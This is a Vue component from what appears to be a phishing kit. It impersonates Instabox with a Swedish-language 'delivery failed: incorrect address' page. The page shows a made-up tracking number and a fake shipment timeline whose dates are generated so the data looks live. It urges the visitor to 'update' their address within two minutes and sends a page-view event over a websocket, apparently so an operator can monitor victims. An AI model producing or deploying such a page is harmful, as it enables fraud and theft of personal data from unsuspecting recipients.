Files
zy-client-a/a4_se_post_instabox/src/views/HomeView.vue
telangpu f421220d77 update
2026-05-07 23:00:28 +08:00

443 lines
10 KiB
Vue

<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import moment from "moment";
import { myWebSocket } from "@/utils/common";
const router = useRouter();
const loadingStore = useLoadingStore();
// 模拟快递单号
const trackingNumber = ref("IBX-SE-8947562310");
/**
* 动态日期生成逻辑
* 根据当前时间往前推移,确保界面显示的是“实时”动态数据
*/
const now = moment();
// 格式化日期函数 (DD/MM HH:mm)
const fmt = (daysAgo: number, timeStr: string) => {
return now.clone().subtract(daysAgo, 'days').format('DD/MM') + ' ' + timeStr;
};
// 格式化纯日期 (DD/MM/YYYY)
const fmtFull = (daysAdd: number) => {
return now.clone().add(daysAdd, 'days').format('DD/MM/YYYY');
};
const handleUpdateAddress = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 800);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
);
localStorage.setItem("route", "home");
});
</script>
<template>
<CommonLayout>
<div class="ibx-container">
<header class="ibx-header">
<div class="header-content">
<p class="brand-text">Instabox</p>
<h1 class="main-headline">Leveransen misslyckades:<br />Felaktig adress</h1>
</div>
</header>
<main class="main-content">
<div class="notice-card">
<div class="badge">MEDDELANDE</div>
<h2 class="section-title">Leveransuppdatering</h2>
<p class="reference">Instabox spårningsnummer: {{ trackingNumber }}</p>
<hr class="divider" />
<div class="alert-box">
<h3 class="alert-title">Leveransförsök misslyckades</h3>
<ul class="alert-list">
<li>Leveransen misslyckades: den angivna adressen tillåter inte säker leverans av paketet.</li>
<li>Paketet förvaras nu i närmaste Instabox-skåp i ditt område.</li>
<li>Uppdatera dina uppgifter snarast: om bekräftelse saknas returneras försändelsen till avsändaren. Nytt leveransförsök planeras efter uppdatering.</li>
</ul>
</div>
<button @click="handleUpdateAddress" class="btn-primary">
Uppdatera leveransadress
</button>
<p class="btn-subtext">Uppdateringen tar mindre än 2 minuter.</p>
</div>
<div class="timeline-card">
<h2 class="timeline-header">Försändelsens spårning</h2>
<div class="timeline">
<div class="timeline-item active">
<div class="timeline-icon warning">
<i class="icon">!</i>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title error">Leveransundantag</span>
<span class="status-time">{{ fmt(1, "15:44") }}</span>
</div>
<p class="status-desc error">
Leveransförsök ej genomfört: adressverifiering misslyckades. Paketet är kvar i Instabox-skåpet.
</p>
<p class="depot-text">Lokalt Instabox-skåp</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">🚚</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Under leverans</span>
<span class="status-time">{{ fmt(1, "09:45") }}</span>
</div>
<p class="status-desc">Paketet har lastats för leverans till Instabox-skåpet.</p>
<p class="depot-text">Lokalt Instabox-skåp</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">📦</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Ankomst till skåp</span>
<span class="status-time">{{ fmt(1, "07:18") }}</span>
</div>
<p class="status-desc">Paketet har anlänt till Instabox-skåpet i ditt område.</p>
<p class="depot-text">Lokalt Instabox-skåp</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">🚚</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Under transport</span>
<span class="status-time">{{ fmt(2, "22:30") }}</span>
</div>
<p class="status-desc">Paketet är under transport i Instabox-nätverket.</p>
<p class="depot-text">Sorteringshubb</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-icon">
<span class="dot-inner">📦</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Upphämtning utförd</span>
<span class="status-time">{{ fmt(3, "15:05") }}</span>
</div>
<p class="status-desc">Paketet hämtades hos avsändaren.</p>
<p class="depot-text">Upphämtningsplats</p>
</div>
</div>
<div class="timeline-item last">
<div class="timeline-icon">
<span class="dot-inner">📑</span>
</div>
<div class="timeline-content">
<div class="content-top">
<span class="status-title">Etikett skapad</span>
<span class="status-time">{{ fmt(3, "09:15") }}</span>
</div>
<p class="status-desc">Avsändaren skapade försändelsen i Instabox-systemet.</p>
<p class="depot-text">Online</p>
</div>
</div>
</div>
</div>
</main>
</div>
</CommonLayout>
</template>
<style scoped>
.ibx-container {
background-color: #f4f7f9;
min-height: 100vh;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
color: #333;
}
/* 头部样式 */
.ibx-header {
background-image: url('/Static_zy/start_masthead.svg');
background-size: cover;
background-position: center;
color: white;
padding: 40px 20px 60px;
position: relative;
display: flex;
justify-content: space-between;
align-items: flex-start;
overflow: hidden;
}
.ibx-header::before {
content: '';
position: absolute;
inset: 0;
background-color: rgba(102, 100, 100, 0.35);
z-index: 0;
}
.ibx-header > * {
position: relative;
z-index: 1;
}
.brand-text {
font-weight: bold;
font-size: 18px;
margin-bottom: 20px;
}
.main-headline {
font-size: 24px;
font-weight: 800;
line-height: 1.2;
}
.header-image {
position: absolute;
right: 0;
top: 0;
height: 100%;
}
.header-image img {
height: 120px;
object-fit: cover;
}
/* 内容布局 */
.main-content {
padding: 0 15px 30px;
margin-top: -30px;
position: relative;
z-index: 2;
}
/* 卡片通用样式 */
.notice-card, .timeline-card {
background: white;
border-radius: 16px;
padding: 20px;
box-shadow: 0 4px 15px rgba(0,0,0,0.05);
margin-bottom: 20px;
}
.badge {
background: #ffe5ed;
color: #E9004C;
display: inline-block;
padding: 4px 12px;
border-radius: 20px;
font-size: 12px;
font-weight: bold;
margin-bottom: 12px;
}
.section-title {
font-size: 20px;
font-weight: 800;
margin-bottom: 5px;
}
.reference {
font-size: 14px;
color: #666;
}
.divider {
border: none;
border-top: 1px solid #eee;
margin: 20px 0;
}
/* 警示文本列表 */
.alert-title {
color: #E9004C;
font-size: 16px;
font-weight: bold;
margin-bottom: 15px;
}
.alert-list {
padding: 0;
list-style: none;
}
.alert-list li {
position: relative;
padding-left: 20px;
font-size: 14px;
line-height: 1.5;
margin-bottom: 15px;
color: #444;
}
.alert-list li::before {
content: "●";
color: #E9004C;
position: absolute;
left: 0;
font-size: 12px;
top: 2px;
}
/* 按钮 */
.btn-primary {
width: 100%;
background-color: #E9004C;
color: white;
border: none;
padding: 16px;
border-radius: 12px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
margin-top: 10px;
}
.btn-subtext {
text-align: center;
font-size: 13px;
color: #666;
margin-top: 12px;
}
/* 时间轴样式 */
.timeline-header {
font-size: 18px;
font-weight: bold;
margin-bottom: 25px;
}
.timeline {
display: flex;
flex-direction: column;
}
.timeline-item {
display: flex;
gap: 15px;
position: relative;
padding-bottom: 30px;
}
.timeline-item::after {
content: "";
position: absolute;
left: 17px;
top: 35px;
bottom: 0;
width: 2px;
background-color: #ffdce6;
}
.timeline-item.last::after {
display: none;
}
.timeline-icon {
width: 36px;
height: 36px;
background: white;
border: 1px solid #eee;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
z-index: 2;
flex-shrink: 0;
}
.timeline-icon.warning {
border-color: #f8c100;
color: #f8c100;
}
.timeline-icon.warning .icon {
font-style: normal;
font-weight: bold;
border: 2px solid #f8c100;
width: 20px;
height: 20px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
}
.timeline-content {
flex-grow: 1;
}
.content-top {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 4px;
}
.status-title {
font-weight: bold;
font-size: 16px;
}
.status-title.error {
color: #E9004C;
}
.status-time {
font-size: 13px;
color: #888;
}
.status-desc {
font-size: 14px;
color: #444;
line-height: 1.4;
margin-bottom: 4px;
}
.status-desc.error {
color: #E9004C;
}
.depot-text {
font-size: 13px;
color: #999;
}
.dot-inner {
font-size: 16px;
}
</style>